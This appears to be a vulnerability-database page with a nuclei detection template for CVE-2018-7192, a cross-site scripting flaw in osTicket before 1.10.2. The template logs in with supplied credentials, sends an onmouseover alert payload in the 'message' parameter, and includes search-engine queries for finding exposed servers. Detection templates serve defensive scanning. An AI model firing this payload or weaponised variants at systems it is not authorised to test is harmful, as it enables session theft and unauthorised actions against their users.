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osTicket < 1.10.2 - Cross-Site Scripting

🗓️ 23 Jun 2026 05:08:33Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 20 Views

osTicket < 1.10.2 - Cross-Site Scripting vulnerability allows remote attackers to inject arbitrary web script or HTML via the "message" parameter, leading to potential data theft or unauthorized actions. Upgrade to mitigate

Related
Refs
Code
ReporterTitlePublishedViews
Family
CNVD
Enhancesoft osTicket Cross-Site Scripting Vulnerability
29 Mar 201800:00
cnvd
CVE
CVE-2018-7192
27 Mar 201817:00
cve
Cvelist
CVE-2018-7192
27 Mar 201817:00
cvelist
EUVD
EUVD-2018-18934
7 Oct 202500:30
euvd
NVD
CVE-2018-7192
27 Mar 201817:29
nvd
Prion
Cross site scripting
27 Mar 201817:29
prion
id: CVE-2018-7192

info:
  name: osTicket < 1.10.2 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross-site scripting (XSS) vulnerability in /ajax.php/form/help-topic in Enhancesoft osTicket before 1.10.2 allows remote attackers to inject arbitrary web script or HTML via the "message" parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade osTicket to later version to mitigate this vulnerability.
  reference:
    - https://blog.securityevaluators.com/vulnerabilities-found-in-popular-ticketing-system-dd273bda229c
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7192
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-7192
    cwe-id: CWE-79
    epss-score: 0.02073
    epss-percentile: 0.78993
    cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: osticket
    product: osticket
    shodan-query: title:"osTicket"
    fofa-query: title="osticket"
    google-query: intitle:"osticket"
  tags: cve,cve2018,osticket,xss,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /scp/login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "osticket")'
        internal: true

    extractors:
      - type: regex
        name: csrftoken
        part: body
        group: 1
        regex:
          - '__CSRFToken__" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /scp/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __CSRFToken__={{csrftoken}}&do=scplogin&userid={{username}}&passwd={{password}}&ajax=1

      - |
        GET /ajax.php/form/help-topic/1?a934f512c6644b03=&message=dgh7r%20onmouseover%3dalert(document.domain)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20qavj5 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "dgh7r onmouseover=alert(document.domain) style=position:")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022004c0b372ac4fab1794dcc19f9ac57fedfe5c145cf0ef7c6ea7949cb1df5e013f02207f28a449b2f080d441b7555f0254aa77305526b01280c880d053f3246388049b:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 24.3
CVSS 36.1
EPSS0.02073
20